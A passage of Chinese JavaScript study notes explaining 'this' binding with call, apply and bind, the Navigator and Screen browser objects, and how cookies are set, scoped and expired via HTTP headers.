f: function () {
  var self = this;
  this.p.forEach(function (item) {
    console.log(self.v + ' ' + item);
  });
}
```

#### 避免回调函数中的 this

回调函数中的 `this` 往往会改变指向，最好避免使用。

```js
var o = new Object();
o.f = function () {
  console.log(this === o);
}

document.querySelector('#button').addEventListener('click', o.f);
```

上面代码中，点击按钮以后，控制台会显示 `false`。

原因是此时 `this` 不再指向 `o` 对象，而是指向按钮的 DOM 对象，因为 `f` 方法是在按钮对象的环境中被调用的。

**真正决定 `this` 的，是“调用点”**，而不是“函数最初挂在哪个对象上”，`document.querySelector('#button').addEventListener('click', o.f);` 并没有在这一刻执行 `o.f()`，你只是把 **函数引用** 交给了 `addEventListener`，`o.f` 只是一个“函数值”（指针/引用），等点击发生时，是 **浏览器的事件系统** 在调用它，调用形式等价于：

```js
o.f.call(buttonElement, event)
```

**事件回调的 this = 监听器绑定的那个元素（currentTarget）**，在普通 `function` 回调下成立；箭头函数会不一样，因为它根本不绑定自己的 `this`。

* **`o.f()`**：这是“调用”。调用点是 `o`，所以 `this === o`。
* **`o.f`**：这只是把函数 **取出来**（函数引用/地址/值）。此时并没有 `this` 这回事，`this` 要等“被调用那一刻”才决定。

把 `o.f` 交给了 `addEventListener`，等点击发生时，是浏览器用“事件回调的规则”去调用它，所以 `this` 变成了按钮元素（`event.currentTarget`）。

```js
const g = o.f;   // 只是取引用
g();             // 普通调用：this -> 全局/undefined(严格)
```

这种细微的差别，很容易在编程中忽视，导致难以察觉的错误。

### 绑定

`this` 的动态切换，固然为 JavaScript 创造了巨大的灵活性，但也使得编程变得困难和模糊。

有时，需要把 `this` 固定下来，避免出现意想不到的情况。JavaScript 提供了 `call`、`apply`、`bind` 这三个方法，来切换/固定 `this` 的指向。

#### Function.prototype.call()

函数实例的 `call` 方法，可以指定函数内部 `this` 的指向（即函数执行时所在的作用域），然后在所指定的作用域中，调用该函数。

```js
var obj = {};

var f = function () {
  return this;
};

f() === window // true
f.call(obj) === obj // true
```

`call` 方法的参数，应该是一个对象，如果参数为空、`null` 和 `undefined`，则默认传入全局对象。

如果 `call` 方法的参数是一个原始值，那么这个原始值会自动转成对应的包装对象，然后传入 `call` 方法。

`call` 方法还可以接受多个参数：

```js
func.call(thisValue, arg1, arg2, ...)
```

`call` 的第一个参数就是 `this` 所要指向的那个对象，后面的参数则是函数调用时所需的参数。

```js
function add(a, b) {
  return a + b;
}

add.call(this, 1, 2) // 3
```

`call` 方法的一个应用是调用对象的原生方法。

```js
var obj = {};
obj.hasOwnProperty('toString') // false

// 覆盖掉继承的 hasOwnProperty 方法
obj.hasOwnProperty = function () {
  return true;
};
obj.hasOwnProperty('toString') // true

Object.prototype.hasOwnProperty.call(obj, 'toString') // false
```

上面代码中，`hasOwnProperty` 是 `obj` 对象继承的方法，如果这个方法一旦被覆盖，就不会得到正确结果。

`call` 方法可以解决这个问题，它将 `hasOwnProperty` 方法的原始定义放到 `obj` 对象上执行，这样无论 `obj` 上有没有同名方法，都不会影响结果。

#### Function.prototype.apply()

`apply` 方法的作用与 `call` 方法类似，也是改变 `this` 指向，然后再调用该函数。唯一的区别就是，它接收一个数组作为函数执行时的参数，使用格式如下。

```js
func.apply(thisValue, [arg1, arg2, ...])
```

`apply` 方法的第一个参数也是 `this` 所要指向的那个对象，如果设为 `null` 或 `undefined`，则等同于指定全局对象。

第二个参数则是一个数组，该数组的所有成员依次作为参数，传入原函数。

原函数的参数，在 `call` 方法中必须一个个添加，但是在 `apply` 方法中，必须以数组形式添加。

```js
function f(x, y){
  console.log(x + y);
}

f.call(null, 1, 1) // 2
f.apply(null, [1, 1]) // 2
```

有趣的应用：

**（1）找出数组最大元素**

JavaScript 不提供找出数组最大元素的函数，结合使用 `apply` 方法和 `Math.max` 方法，就可以返回数组的最大元素。

```js
var a = [10, 2, 4, 15, 9];
Math.max.apply(null, a) // 15
```

**（2）将数组的空元素变为 `undefined`**

通过 `apply` 方法，利用 `Array` 构造函数将数组的空元素变成 `undefined`。

```js
Array.apply(null, ['a', ,'b'])
// [ 'a', undefined, 'b' ]
```

或者用这些都行

```js
Array(...['a', ,'b'])          // ['a', undefined, 'b']
Array.from(['a', ,'b'])        // ['a', undefined, 'b']（也会把 hole 变成 undefined）
```

**空位变成 `undefined`”主要是 `apply`（更准确说是 `Function.prototype.apply` 的参数展开机制）在做参数列表时发生的**，不是 `Array` 自己凭空把 hole 变成了 `undefined`。

`Array.apply(null, ['a', ,'b'])` 等价于“把第二个参数这个数组，当作参数列表，一个个塞进 `Array(...)`”：`Array('a', ?, 'b')`，`apply` 需要把 `['a', ,'b']` 变成一串参数，所以它会做类似这样的事：

```js
let args = ['a', , 'b'];     // length = 3，有个 hole
let a0 = args[0];            // 'a'
let a1 = args[1];            // 这里是 hole -> 读出来是 undefined
let a2 = args[2];            // 'b'
Array(a0, a1, a2);
```

在 JS 里，数组的 hole 本质是：**这个索引根本没有属性**。

```js
let args = ['a', , 'b'];

0 in args  // true
1 in args  // false  <-- 这个位置根本不存在
2 in args  // true
```

但当用 `args[1]` 去“读”它时，规则是：

如果这个属性不存在 → 结果就是 `undefined`，所以 hole 在“读取”那一刻就表现为 `undefined`。

**注意：这不等于 hole 被改成了 undefined**，只是“读的时候拿到 undefined”。

`apply` 把刚才读出来的值 `undefined` 当成了“第 2 个参数”传进 `Array`：`Array('a', undefined, 'b')`

空元素与 `undefined` 的差别在于，数组的 `forEach` 方法会跳过空元素，但是不会跳过 `undefined`。因此，遍历内部元素的时候，会得到不同的结果。

**（3）转换类似数组的对象**

另外，利用数组对象的 `slice` 方法，可以将一个类似数组的对象（比如 `arguments` 对象）转为真正的数组。

```js
Array.prototype.slice.apply({0: 1, length: 1}) // [1]
Array.prototype.slice.apply({0: 1}) // []
Array.prototype.slice.apply({0: 1, length: 2}) // [1, undefined]
Array.prototype.slice.apply({length: 1}) // [undefined]
```

上面代码的 `apply` 方法的参数都是对象，但是返回结果都是数组，这就起到了将对象转成数组的目的。

从上面代码可以看到，这个方法起作用的前提是，**被处理的对象必须有 `length` 属性，以及相对应的数字键**。

**（4）绑定回调函数的对象**

前面的按钮点击事件的例子，可以改写如下

```js
var obj = new Object();

var func = function () {
  console.log(this === obj);
}

var handler = function (){
  func.apply(obj);
  // 或者 func.call(obj);
};

document.querySelector('#button').addEventListener('click', handler);
```

上面代码中，点击按钮以后，控制台将会显示 `true`。

由于 `apply()` 方法（或者 `call()` 方法）不仅绑定函数执行时所在的对象，还会立即执行函数，因此不得不把绑定语句写在一个函数体内。

#### Function.prototype.bind()

`bind()` 方法用于将函数体内的 `this` 绑定到某个对象，然后返回一个新函数。

```js
var d = new Date();
d.getTime() // 1481869925657

var print = d.getTime;
print() // Uncaught TypeError: this is not a Date object.
```

上面代码中，将 `d.getTime()` 方法赋给变量 `print`，然后调用 `print()` 就报错了。

这是因为 `getTime()` 方法内部的 `this`，绑定 `Date` 对象的实例，赋给变量 `print` 以后，内部的 `this` 已经不指向 `Date` 对象的实例了。

`bind()` 方法可以解决这个问题。

```js
var print = d.getTime.bind(d);
print() // 1481869925657
```

上面代码中，`bind()` 方法将 `getTime()` 方法内部的 `this` 绑定到 `d` 对象，这时就可以安全地将这个方法赋值给其他变量了。

`bind` 方法的参数就是所要绑定 `this` 的对象

```js
var counter = {
  count: 0,
  inc: function () {
    this.count++;
  }
};

var func = counter.inc.bind(counter);
func();
counter.count // 1
```

`counter.inc()` 方法被赋值给变量 `func`。这时必须用 `bind()` 方法将 `inc()` 内部的 `this`，绑定到 `counter`，否则就会出错。

`this` 绑定到其他对象也是可以的。

```js
var counter = {
  count: 0,
  inc: function () {
    this.count++;
  }
};

var obj = {
  count: 100
};
var func = counter.inc.bind(obj);
func();
obj.count // 101
```

`bind()` 还可以接受更多的参数，将这些参数绑定原函数的参数。

```js
var add = function (x, y) {
  return x * this.m + y * this.n;
}

var obj = {
  m: 2,
  n: 2
};

var newAdd = add.bind(obj, 5);
newAdd(5) // 20
```

上面代码中，`bind()` 方法除了绑定 `this` 对象，还将 `add()` 函数的第一个参数 `x` 绑定成 `5`，然后返回一个新函数 `newAdd()`，这个函数只要再接受一个参数 `y` 就能运行了。

如果 `bind()` 方法的第一个参数是 `null` 或 `undefined`，等于将 `this` 绑定到全局对象，函数运行时 `this` 指向顶层对象（浏览器为 `window`）。

```js
function add(x, y) {
  return x + y;
}

var plus5 = add.bind(null, 5);
plus5(10) // 15
```

上面代码中，函数 `add()` 内部并没有 `this`，使用 `bind()` 方法的主要目的是绑定参数 `x`，以后每次运行新函数 `plus5()`，就只需要提供另一个参数 `y` 就够了。

而且因为 `add()` 内部没有 `this`，所以 `bind()` 的第一个参数是 `null`。

**注意点**

**（1）每一次返回一个新函数**

`bind()` 方法每运行一次，就返回一个新函数，这会产生一些问题，比如，监听事件的时候，不能写成下面这样。

```js
element.addEventListener('click', o.m.bind(o));
```

上面代码中，`click` 事件绑定 `bind()` 方法生成的一个匿名函数，这样会导致无法取消绑定，所以下面的代码是无效的。

```js
element.removeEventListener('click', o.m.bind(o));
```

正确的方法是写成下面这样：

```js
var listener = o.m.bind(o);
element.addEventListener('click', listener);
//  ...
element.removeEventListener('click', listener);
```

**（2）结合回调函数使用**

回调函数是 JavaScript 最常用的模式之一，但是一个常见的错误是，将包含 `this` 的方法直接当作回调函数。解决方法就是使用 `bind()` 方法，将 `counter.inc()` 绑定 `counter`。

```js
var counter = {
  count: 0,
  inc: function () {
    'use strict';
    this.count++;
  }
};

function callIt(callback) {
  callback();
}

callIt(counter.inc.bind(counter));
counter.count // 1
```

`callIt()` 方法会调用回调函数，这时如果直接把 `counter.inc` 传入，调用时 `counter.inc()` 内部的 `this` 就会指向全局对象。

使用 `bind()` 方法将 `counter.inc` 绑定 `counter` 以后，就不会有这个问题，`this` 总是指向 `counter`。

还有一种情况比较隐蔽，就是某些数组方法可以接受一个函数当作参数。这些函数内部的 `this` 指向，很可能也会出错。

```js
var obj = {
  name: '张三',
  times: [1, 2, 3],
  print: function () {
    this.times.forEach(function (n) {
      console.log(this.name);
    });
  }
};

obj.print()
// 没有任何输出
```

`obj.print` 内部 `this.times` 的 `this` 是指向 `obj` 的，这个没有问题。但是，`forEach()` 方法的回调函数内部的 `this.name` 却是指向全局对象，导致没有办法取到值：

```js
[1, 2, 3].forEach(function (n) { console.log(this.name); });
```

解决这个问题，也是通过 `bind()` 方法绑定 `this`。

```js
obj.print = function () {
  this.times.forEach(function (n) {
    console.log(this.name);
  }.bind(this));
};

obj.print()
// 张三
// 张三
// 张三
```

**（3）结合 `call()` 方法使用**

利用 `bind()` 方法，可以改写一些 JavaScript 原生方法的使用形式，以数组的 `slice()` 方法为例。

```js
[1, 2, 3].slice(0, 1) // [1]
// 等同于
Array.prototype.slice.call([1, 2, 3], 0, 1) // [1]
```

上面的代码中，数组的 `slice` 方法从 `[1, 2, 3]` 里面，按照指定的开始位置和结束位置，切分出另一个数组。

这样做的本质是在 `[1, 2, 3]` 上面调用 `Array.prototype.slice()` 方法，因此可以用 `call` 方法表达这个过程，得到同样的结果。

`call()` 方法实质上是调用 `Function.prototype.call()` 方法，因此上面的表达式可以用 `bind()` 方法改写。

```js
var slice = Function.prototype.call.bind(Array.prototype.slice);
slice([1, 2, 3], 0, 1) // [1]
```

上面代码的含义就是，将 `Array.prototype.slice` 变成 `Function.prototype.call` 方法所在的对象，调用时就变成了 `Array.prototype.slice.call`。类似的写法还可以用于其他数组方法。

```js
var push = Function.prototype.call.bind(Array.prototype.push);
var pop = Function.prototype.call.bind(Array.prototype.pop);

var a = [1 ,2 ,3];
push(a, 4)
a // [1, 2, 3, 4]

pop(a)
a // [1, 2, 3]
```

如果再进一步，将 `Function.prototype.call` 方法绑定到 `Function.prototype.bind` 对象，就意味着 `bind` 的调用形式也可以被改写。

```js
function f() {
  console.log(this.v);
}

var o = { v: 123 };
var bind = Function.prototype.call.bind(Function.prototype.bind);
bind(f, o)() // 123
```

上面代码的含义就是，将 `Function.prototype.bind` 方法绑定在 `Function.prototype.call` 上面，所以 `bind` 方法就可以直接使用，不需要在函数实例上使用。

---

---
url: /skill/hzeqbodq/index.md
---
# JS 回顾 14
## Navigator 对象

`window.navigator`属性指向一个包含浏览器和系统信息的 Navigator 对象。脚本通过这个属性了解用户的环境信息。

### 属性

#### Navigator.userAgent

`navigator.userAgent`属性返回浏览器的 User Agent 字符串，表示用户设备信息，包含了浏览器的厂商、版本、操作系统等信息。

下面是 Chrome 浏览器的`userAgent`。

```js
navigator.userAgent
// "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ch
```

通过`userAgent`属性识别浏览器，不是一个好办法。因为必须考虑所有的情况（不同的浏览器，不同的版本），非常麻烦，而且用户可以改变这个字符串。这个字符串的格式并无统一规定，也无法保证未来的适用性，各种上网设备层出不穷，难以穷尽。所以，现在一般不再通过它识别浏览器了，而是使用“功能识别”方法，即逐一测试当前浏览器是否支持要用到的 JavaScript 功能。

不过，通过`userAgent`可以大致准确地识别手机浏览器，方法就是测试是否包含`mobi`字符串。

```js
var ua = navigator.userAgent.toLowerCase();

if (/mobi/.test(ua)) {
  // 手机浏览器
} else {
  // 非手机浏览器
}
```

如果想要识别所有移动设备的浏览器，可以测试更多的特征字符串。

```js
/mobi|android|touch|mini/.test(ua)
```

#### Navigator.plugins

`Navigator.plugins`属性返回一个类似数组的对象，成员是 Plugin 实例对象，表示浏览器安装的插件，比如 Flash、ActiveX 等。

```js
var pluginsLength = navigator.plugins.length;

for (var i = 0; i < pluginsLength; i++) {
  console.log(navigator.plugins[i].name);
  console.log(navigator.plugins[i].filename);
  console.log(navigator.plugins[i].description);
  console.log(navigator.plugins[i].version);
}
```

#### Navigator.platform

`Navigator.platform`属性返回用户的操作系统信息，比如`MacIntel`、`Win32`、`Linux x86_64`等 。

```js
navigator.platform
// "Linux x86_64"
```

#### Navigator.onLine

`navigator.onLine`属性返回一个布尔值，表示用户当前在线还是离线（浏览器断线）。

```js
navigator.onLine // true
```

有时，浏览器可以连接局域网，但是局域网不能连通外网。这时，有的浏览器的`onLine`属性会返回`true`，所以不能假定只要是`true`，用户就一定能访问互联网。不过，**如果是`false`，可以断定用户一定离线**。

用户变成在线会触发`online`事件，变成离线会触发`offline`事件，可以通过`window.ononline`和`window.onoffline`指定这两个事件的回调函数。

```js
window.addEventListener('offline', function(e) { console.log('offline'); });
window.addEventListener('online', function(e) { console.log('online'); });
```

#### Navigator.language

#### Navigator.languages

`Navigator.language`属性返回一个字符串，表示浏览器的首选语言。该属性只读。

```js
navigator.language // "en"
```

`Navigator.languages`属性返回一个数组，表示用户可以接受的语言。`Navigator.language`总是这个数组的第一个成员。HTTP 请求头信息的`Accept-Language`字段，就来自这个数组。

```js
navigator.languages  // ["en-US", "en", "zh-CN", "zh", "zh-TW"]
```

如果这个属性发生变化，就会在`window`对象上触发`languagechange`事件。

#### Navigator.geolocation

`Navigator.geolocation`属性返回一个 Geolocation 对象，包含用户地理位置的信息。注意，该 API 只有在 HTTPS 协议下可用，否则调用下面方法时会报错。

Geolocation 对象提供下面三个方法。

* Geolocation.getCurrentPosition()：得到用户的当前位置
* Geolocation.watchPosition()：监听用户位置变化
* Geolocation.clearWatch()：取消`watchPosition()`方法指定的监听函数

注意，调用这三个方法时，浏览器会跳出一个对话框，要求用户给予授权。

#### Navigator.cookieEnabled

`navigator.cookieEnabled`属性返回一个布尔值，表示浏览器的 Cookie 功能是否打开。

```js
navigator.cookieEnabled // true
```

注意，这个属性反映的是浏览器总的特性，与是否储存某个具体的网站的 Cookie 无关。用户可以设置某个网站不得储存 Cookie，这时`cookieEnabled`返回的还是`true`。

### 方法

#### Navigator.javaEnabled()

`navigator.javaEnabled()`方法返回一个布尔值，表示浏览器是否能运行 Java Applet 小程序。

```js
navigator.javaEnabled() // false
```

#### Navigator.sendBeacon()

`Navigator.sendBeacon()`方法用于向服务器异步发送数据。

`navigator.sendBeacon()` 现在还挺有用的，它不是用来“替代 fetch/xhr 做普通请求”的，而是专门解决一个老大难问题：**页面要关闭/跳转时，如何尽量可靠地把一小段数据发出去**（比如埋点、统计、日志）。

主要用于

* **异步发送少量数据**到服务器
* **不阻塞页面卸载**（用户关页/刷新/跳转时也尽量能送达）
* 浏览器会在后台“尽力而为”把请求发出去

典型场景：

* 统计“页面停留时长”
* 记录“用户点击了某按钮后立刻离开页面”
* 崩溃/错误上报（在 unload/visibilitychange 之类的时机）

它返回一个 boolean：**是否已成功把数据交给浏览器排队发送**

* `true`：浏览器接受并排队（不代表服务器一定收到）
* `false`：浏览器没接单（比如数据太大/队列满/URL 不合法等）

**页面卸载时更可靠**，`fetch`/`xhr` 在 `unload`/跳转时经常被取消，尤其移动端更明显，`sendBeacon` 就是为这事设计的。

**你几乎控制不了它**，不能自定义 method/header、不能读响应、不能做复杂配置，它就是“把这包数据送出去”。

**适合小数据**，适合几 KB～几十 KB 级别的埋点数据；太大可能直接 `false`。

发送时通常是 **POST**，body 可以是：`Blob` / `FormData` / `URLSearchParams` / `ArrayBuffer` / `TypedArray` / 字符串等，如果你传 `Blob`，还能指定 `type`（比如 `application/json`）

最常见用法（埋点）

```js
window.addEventListener("visibilitychange", () => {
  if (document.visibilityState === "hidden") {
    const data = JSON.stringify({
      event: "page_hide",
      ts: Date.now(),
      path: location.pathname,
    });
    const ok = navigator.sendBeacon(
      "/analytics",
      new Blob([data], { type: "application/json" })
    );
    // ok 只是“是否成功排队”
  }
});
```

### 实验性属性

Navigator 对象有一些实验性属性，在部分浏览器可用。

#### Navigator.deviceMemory

`navigator.deviceMemory`属性返回当前计算机的内存数量（单位为 GB）。该属性只读，只在 HTTPS 环境下可用。

它的返回值是一个近似值，四舍五入到最接近的2的幂，通常是 0.25、0.5、1、2、4、8。实际内存超过 8GB，也返回`8`。

```js
if (navigator.deviceMemory > 1) {
  await import('./costly-module.js');
}
```

上面示例中，只有当前内存大于 1GB，才加载大型的脚本。

#### Navigator.hardwareConcurrency

`navigator.hardwareConcurrency`属性返回用户计算机上可用的逻辑处理器的数量。该属性只读。

现代计算机的 CPU 有多个物理核心，每个物理核心有时支持一次运行多个线程。因此，四核 CPU 可以提供八个逻辑处理器核心。

```js
if (navigator.hardwareConcurrency > 4) {
  await import('./costly-module.js');
}
```

上面示例中，可用的逻辑处理器大于4，才会加载大型脚本。

该属性通过用于创建 Web Worker，每个可用的逻辑处理器都创建一个 Worker。

```js
let workerList = [];

for (let i = 0; i < window.navigator.hardwareConcurrency; i++) {
  let newWorker = {
    worker: new Worker('cpuworker.js'),
    inUse: false
  };
  workerList.push(newWorker);
}
```

上面示例中，有多少个可用的逻辑处理器，就创建多少个 Web Worker。

#### Navigator.connection

`navigator.connection`属性返回一个对象，包含当前网络连接的相关信息。

* downlink：有效带宽估计值（单位：兆比特/秒，Mbps），四舍五入到每秒 25KB 的最接近倍数。
* downlinkMax：当前连接的最大下行链路速度（单位：兆比特每秒，Mbps）。
* effectiveType：返回连接的等效类型，可能的值为`slow-2g`、`2g`、`3g`、`4g`。
* rtt：当前连接的估计有效往返时间，四舍五入到最接近的25毫秒的倍数。
* saveData：用户是否设置了浏览器的减少数据使用量选项（比如不加载图片），返回`true`或者`false`。
* type：当前连接的介质类型，可能的值为`bluetooth`、`cellular`、`ethernet`、`none`、`wifi`、`wimax`、`other`、`unknown`。

```js
if (navigator.connection.effectiveType === '4g') {
  await import('./costly-module.js');
}
```

上面示例中，如果网络连接是 4G，则加载大型脚本。

### Screen 对象

Screen 对象表示当前窗口所在的屏幕，提供显示设备的信息。`window.screen`属性指向这个对象。

该对象有下面的属性。

* `Screen.height`：浏览器窗口所在的屏幕的高度（单位像素）。除非调整显示器的分辨率，否则这个值可以看作常量，不会发生变化。显示器的分辨率与浏览器设置无关，缩放网页并不会改变分辨率。
* `Screen.width`：浏览器窗口所在的屏幕的宽度（单位像素）。
* `Screen.availHeight`：浏览器窗口可用的屏幕高度（单位像素）。因为部分空间可能不可用，比如系统的任务栏或者 Mac 系统屏幕底部的 Dock 区，这个属性等于`height`减去那些被系统组件的高度。
* `Screen.availWidth`：浏览器窗口可用的屏幕宽度（单位像素）。
* `Screen.pixelDepth`：整数，表示屏幕的色彩位数，比如`24`表示屏幕提供24位色彩。
* `Screen.colorDepth`：`Screen.pixelDepth`的别名。严格地说，colorDepth 表示应用程序的颜色深度，pixelDepth 表示屏幕的颜色深度，绝大多数情况下，它们都是同一件事。
* `Screen.orientation`：返回一个对象，表示屏幕的方向。该对象的`type`属性是一个字符串，表示屏幕的具体方向，`landscape-primary`表示横放，`landscape-secondary`表示颠倒的横放，`portrait-primary`表示竖放，`portrait-secondary`表示颠倒的竖放。

下面是`Screen.orientation`的例子。

```js
window.screen.orientation
// { angle: 0, type: "landscape-primary", onchange: null }
```

下面的例子保证屏幕分辨率大于 1024 x 768。

```js
if (window.screen.width >= 1024 && window.screen.height >= 768) {
  // 分辨率不低于 1024x768
}
```

下面是根据屏幕的宽度，将用户导向不同网页的代码。

```js
if ((screen.width <= 800) && (screen.height <= 600)) {
  window.location.replace('small.html');
} else {
  window.location.replace('wide.html');
}
```

## Cookie

Cookie 是服务器保存在浏览器的一小段文本信息，一般大小不能超过4KB。浏览器每次向服务器发出请求，就会自动附上这段信息。

HTTP 协议不带有状态，有些请求需要区分状态，就通过 Cookie 附带字符串，让服务器返回不一样的回应。举例来说，用户登录以后，服务器往往会在网站上留下一个 Cookie，记录用户编号（比如`id=1234`），以后每次浏览器向服务器请求数据，就会带上这个字符串，服务器从而知道是谁在请求，应该回应什么内容。

Cookie 的目的就是区分用户，以及放置状态信息，它的使用场景主要如下。

* 对话（session）管理：保存登录状态、购物车等需要记录的信息。
* 个性化信息：保存用户的偏好，比如网页的字体大小、背景色等等。
* 追踪用户：记录和分析用户行为。

Cookie 不是一种理想的客户端存储机制。它的容量很小（4KB），缺乏数据操作接口，而且会影响性能。客户端存储建议使用 Web storage API 和 IndexedDB。只有那些每次请求都需要让服务器知道的信息，才应该放在 Cookie 里面。

每个 Cookie 都有以下几方面的元数据。

* Cookie 的名字
* Cookie 的值（真正的数据写在这里面）
* 到期时间（超过这个时间会失效）
* 所属域名（默认为当前域名）
* 生效的路径（默认为当前网址）

举例来说，用户访问网址`www.example.com`，服务器在浏览器写入一个 Cookie。这个 Cookie 的所属域名为`www.example.com`，生效路径为根路径`/`。

如果 Cookie 的生效路径设为`/forums`，那么这个 Cookie 只有在访问`www.example.com/forums`及其子路径时才有效。以后，浏览器访问某个路径之前，就会找出对该域名和路径有效，并且还没有到期的 Cookie，一起发送给服务器。

用户可以设置浏览器不接受 Cookie，也可以设置不向服务器发送 Cookie。`window.navigator.cookieEnabled`属性返回一个布尔值，表示浏览器是否打开 Cookie 功能。

```js
window.navigator.cookieEnabled // true
```

`document.cookie`属性返回当前网页的 Cookie。

```js
document.cookie // "id=foo;key=bar"
```

不同浏览器对 Cookie 数量和大小的限制，是不一样的。一般来说，单个域名设置的 Cookie 不应超过30个，每个 Cookie 的大小不能超过 4KB。超过限制以后，Cookie 将被忽略，不会被设置。

Cookie 是按照域名区分的，`foo.com`只能读取自己放置的 Cookie，无法读取其他网站（比如`bar.com`）放置的 Cookie。一般情况下，一级域名也不能读取二级域名留下的 Cookie，比如`mydomain.com`不能读取`subdomain.mydomain.com`设置的 Cookie。但是有一个例外，设置 Cookie 的时候（不管是一级域名设置的，还是二级域名设置的），明确将`domain`属性设为一级域名，则这个域名下面的各级域名可以共享这个 Cookie。

```js
Set-Cookie: name=value; domain=mydomain.com
```

上面示例中，设置 Cookie 时，`domain`属性设为`mydomain.com`，那么各级的子域名和一级域名都可以读取这个 Cookie。

注意，区分 Cookie 时不考虑协议和端口。也就是说，`http://example.com`设置的 Cookie，可以被`https://example.com`或`http://example.com:8080`读取。

### Cookie 与 HTTP 协议

Cookie 由 HTTP 协议生成，也主要是供 HTTP 协议使用。

#### HTTP 回应：Cookie 的生成

服务器如果希望在浏览器保存 Cookie，就要在 HTTP 回应的头信息里面，放置一个`Set-Cookie`字段。

```http
Set-Cookie:foo=bar
```

上面代码会在浏览器保存一个名为`foo`的 Cookie，它的值为`bar`。

HTTP 回应可以包含多个`Set-Cookie`字段，即在浏览器生成多个 Cookie。下面是一个例子。

```http
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[page content]
```

除了 Cookie 的值，`Set-Cookie`字段还可以附加 Cookie 的属性。

```http
Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly
```

上面的几个属性的含义，将在后文解释。

一个`Set-Cookie`字段里面，可以同时包括多个属性，没有次序的要求。

```http
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly
```

下面是一个例子。

```http
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
```

如果服务器想改变一个早先设置的 Cookie，必须同时满足四个条件：Cookie 的`key`、`domain`、`path`和`secure`都匹配。举例来说，如果原始的 Cookie 是用如下的`Set-Cookie`设置的。

```http
Set-Cookie: key1=value1; domain=example.com; path=/blog
```

改变上面这个 Cookie 的值，就必须使用同样的`Set-Cookie`。

```http
Set-Cookie: key1=value2; domain=example.com; path=/blog
```

只要有一个属性不同，就会生成一个全新的 Cookie，而不是替换掉原来那个 Cookie。

```http
Set-Cookie: key1=value2; domain=example.com; path=/
```

上面的命令设置了一个全新的同名 Cookie，但是`path`属性不一样。下一次访问`example.com/blog`的时候，浏览器将向服务器发送两个同名的 Cookie。

```http
Cookie: key1=value1; key1=value2
```

上面代码的两个 Cookie 是同名的，**匹配越精确的 Cookie 排在越前面**。

#### HTTP 请求：Cookie 的发送

浏览器向服务器发送 HTTP 请求时，每个请求都会带上相应的 Cookie。也就是说，把服务器早前保存在浏览器的这段信息，再发回服务器。这时要使用 HTTP 头信息的`Cookie`字段。

```http
Cookie: foo=bar
```

上面代码会向服务器发送名为`foo`的 Cookie，值为`bar`。

`Cookie`字段可以包含多个 Cookie，使用分号（`;`）分隔。

```http
Cookie: name=value; name2=value2; name3=value3
```

下面是一个例子。

```http
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
```

服务器收到浏览器发来的 Cookie 时，有两点是无法知道的。

* Cookie 的各种属性，比如何时过期。
* 哪个域名设置的 Cookie，到底是一级域名设的，还是某一个二级域名设的。

### Cookie 的属性

#### Expires

#### Max-Age

`Expires` 和 `Max-Age` 都是用来控制 Cookie 过期时间的属性。

`Expires` 用来指定 **一个具体的过期时间点**。

当浏览器时间超过这个时间，Cookie 就会被删除。

```http
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
```

* 时间必须是 **UTC 格式**
* 可以通过 `Date.prototype.toUTCString()` 生成
* 浏览器根据 **本地时间** 判断是否过期

注意：

* 如果用户本地时间不准确，Cookie 的实际过期时间可能会出现偏差。
* 如果不设置 `Expires`，该 Cookie 默认是 **会话级 Cookie（Session Cookie）**。

`Max-Age` 用来指定 **从当前时间开始，Cookie 存活的秒数**。

例如：

```http
Set-Cookie: id=a3fWa; Max-Age=31536000;
```

`31536000` 秒 ≈ 1 年

含义是：从现在开始 1 年后过期。

特点：

* 是一个“相对时间”
* 通常比 `Expires` 更精确
* 更推荐使用

如果同时设置：

```http
Set-Cookie: id=a3fWa; Expires=...; Max-Age=3600;
```

**`Max-Age` 优先生效**

如果既没有设置 `Expires`，也没有设置 `Max-Age`，那么这个 Cookie 是 **Session Cookie**：只在当前浏览器会话中有效，浏览器关闭后自动删除，不会持久保存到磁盘。

#### Domain

#### Path

`Domain` 和 `Path` 决定了 **浏览器在什么情况下会把某个 Cookie 发送给服务器**，换句话说，它们控制的是 **Cookie 的作用范围**。

Cookie 会不会跟着请求一起发出去，主要看两件事：

* **Domain**：发给哪个域名（以及它的子域名）
* **Path**：发给该域名下哪些路径（前缀匹配）

Domain

* 不写 `Domain`：Cookie 默认只属于**当前响应的那个域名**（host-only），一般**不会共享给其它子域名**。
* 写了 `Domain=example.com`：Cookie 会发给 `example.com` 以及 `*.example.com`。
* 浏览器会做校验：你不能把 `Domain` 设成无关域名，也不能设成公共后缀（如 `github.io`），否则直接拒收。

Path

* `Path=/`：整个站点路径都能带。
* `Path=/api`：只有请求路径以 `/api` 开头才会带（例如 `/api/user` 会带，`/docs` 不带）。

**最终规则：Domain 匹配 AND Path 匹配**，浏览器才会发送该 Cookie。

`document.cookie` 确实能写 Cookie，但只能在**浏览器允许的范围**里写：

* 只能给**当前页面所在域名**（或它的父域，且必须同一“站点可控范围”）设置
* **不能**写到完全无关的域（你说的 `Domain=api.github.com` 这种会直接被浏览器拒绝）

另外：JS 也**不能设置/读取 `HttpOnly` Cookie**（这是故意的安全设计）

**正确流程** 的是 **请求打到某个后端域名** → **后端用响应头 `Set-Cookie` 下发** → 浏览器按规则存储 → 之后符合规则的请求再自动携带。

**注意**：即使是后端 `Set-Cookie`，也一样受浏览器规则限制；后端也不能凭空给别的顶级域名种 Cookie。

想让 Cookie “独享当前域名（host-only），子域也不行”，就不设置 `Domain` ⇒ **host-only cookie**，host-only 只会在“设置它的那个精确 host”上发送，也就是：如果是 `api.yumgjs.com` 设置的，那么只会发给 `api.yumgjs.com`，不会发给 `mp.yumgjs.com`、`www.yumgjs.com` 等。

